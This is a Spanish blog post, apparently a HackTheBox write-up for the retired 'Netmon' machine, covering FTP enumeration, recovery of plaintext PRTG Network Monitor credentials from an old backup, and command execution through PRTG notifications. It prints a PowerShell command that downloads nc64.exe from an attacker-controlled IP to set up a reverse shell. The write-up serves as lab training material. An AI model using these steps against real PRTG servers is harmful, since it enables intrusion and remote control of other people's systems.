Análisis de vulnerabilidadesAuditoría y CTFEnumeración y escaneoExplotaciónHacking WebHTBKali LinuxPentestingPost-explotación

HTB – WriteUp – Netmon

Buenas!

Continuamos con los writeups de máquinas de HacktheBox. En esta ocasión es el turno de Netmon, que fue retirada hace ya un tiempo. Una máquina bastante didáctica e interesante para aprender un nuevo vector de compromiso en una herramienta web.

El write-up se divide en tres fases:

  • Enumeración
  • Explotación
  • Escalada de privilegios

 

Enumeración

En primer lugar, para identificar los servicios y puertos abiertos se ejecuta la herramienta nmap:

Se detectan abiertos los servicios FTP (21), 80 (HTTP) y 445 (SMB). A través de la enumeración de los scripts de nmap se identifica:

  • FTP con el login de anomyous habilitado.
  • PRTG monitor en el 80.
  • La máquina es un Windows 2008 R2 – 2012.

Enumeración FTP

En primer, se accede al FTP a ver que nos podemos encontrar:

Directamente podemos explorar la máquina Windows, así que vamos a ver si se tienen permisos para acceder a la carpeta de directorios y obtener la primera de las flags a través del comando GET:

¡Muy fácil! A continuación, se prueba si se tienen permisos de escritura y es posible subir directamente un fichero a la máquina a través del FTP, pero no es posible ;(

Enumeración web

De aquí poco más se puede sacar, vamos a ver que hay en la web:

En el banner se identifica la versión: 18.1.37 del software Netmon (de ahí el nombre de la máquina xd). Entonces se buscan posibles vulnerabilidades en exploitdb y demás sitios:

https://www.exploit-db.com/exploits/46527

https://www.codewatch.org/blog/?p=453

 

Sin embargo, requieren autenticación, así que habrá que buscar las contraseñas por defecto de la aplicación o bien emplear fuerza bruta.

Tras buscar por Google se obtiene que las credenciales por defecto son: prtgadmin/ prtgadmin Sin embargo, no funcionan…En la funcionalidad de recuperación de contraseñas se identifica que tiene enumeración de usuarios y se detecta que el usuario administrador prtgadmin está registrado. Entonces, se pasa a la técnica tediosa de la fuerza bruta, ya que tras crear un diccionario con la ayuda de cewl y con rockyou, no se logra acceder… ¿Quizás no hemos enumerado bien en Windows mediante el FTP y nos hemos dejado algo? ¡Toca volver atrás!

Se busca en Windows la ruta en la qué se encuentra instalada la aplicación. En /Windows:

 

Se baja y se analiza, pero no hay nada claro ni en texto plano. No iba a ser tan fácil.

Se realizan búsquedas con “-lisah” por si estuviera escondida la carpeta y efectivamente

Tras consultar en Internet, a través de este enlace https://www.reddit.com/r/sysadmin/comments/835dai/prtg_exposes_domain_accounts_and_passwords_in/ se explica que para X versiones se detectó que la aplicación guardaba backups con las contraseñas en texto plano.

En old se encuentra el fichero con la recompensa:

Y ahí están las credenciales hardcodeadas en texto plano:

Yendo al login, nos pegamos la primera hostia en la frente, falla!!!

Tras darles varias vueltas y enfadarme mucho, me di cuenta de que acaba en 2018, pero la máquina se ha publicado en 2019…por lo que la contraseña la habrán renovado a 2019…y efectivamente:

Explotación

Se podrían probar los exploits que encontramos en exploitdb, pero que requerían autenticación.

https://www.exploit-db.com/exploits/46527

Hay que coger la cookie y pasarla, pero el exploit da errores de código:

Así que pasamos a hacerlo a mano con ayuda de este post: https://www.codewatch.org/blog/?p=453

Se va a account -> añadir nueva notificacion -> ejecutar programa:

Se elige de administrador y se accede a la opción de ejecutar programa dónde podemos elegir el fichero de test de ps1 o bien bat. Seleccionando la de powershell, como prueba de concepto se trata de copiar la flag root.txt y moverla a la carpeta de usuario para poder visualizarla mediante el acceso FTP.

Para ejecutarlo:

Tras ejecutarlo, llega un pop-up:

Y se comprueba si ha funcionado accediendo vía FTP para buscar el fichero root.txt renombrado como n00b.txt:

Y ahí está, it works!

Escalada de privilegios

Hasta aquí podríamos llegar y estaría hecha la máquina, pero ya sabéis que leer la flag no da puntos en el OSCP, por ello, vamos a tratar de lograr acceso con una shell reversa. A priori hay dos opciones:

  • Crear un usuario y meterlo en el grupo de administradores para después acceder vía SMB mediante el fichero test outfile.bat, pero sin éxito.
  • Subir un nc.exe y obtener una shell reversa. (Importante la máquina es de 64 bits, por lo que hay que subir el nc64exe , que la primera vez no me di cuenta y me tocó repetir los pasos).

Para transferir los ficheros introducimos el siguiente código en powershell:

powershell -c «(new-object System.Net.WebClient).DownloadFile(‘http://10.10.X.X:1234/nc64.exe’,’C:\Users\Public\nc64.exe’)»

Ya sabéis se pone un puente con python:

Y si vamos al FTP ahí está:

Ahora se introduciría el siguiente código:

Entonces, debería llegar la conexión a nuestro listener:

Sin embargo, como podéis ver, llega la petición del nc.exe que subí anteriormente, como si se hubiera quedado cacheada. Tocaría revertir la máquina y volver a subir el nc64.exe y entonces debería funcionar, pero eso ya os lo dejo a vosotros 😉

Nos vemos en la próxima entrada!

N4xh4ck5

La mejor defensa, es un buen ataque

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Los datos introducidos se guardarán en nuestra base de datos como parte del comentario publicado, como se indica en la política de privacidad.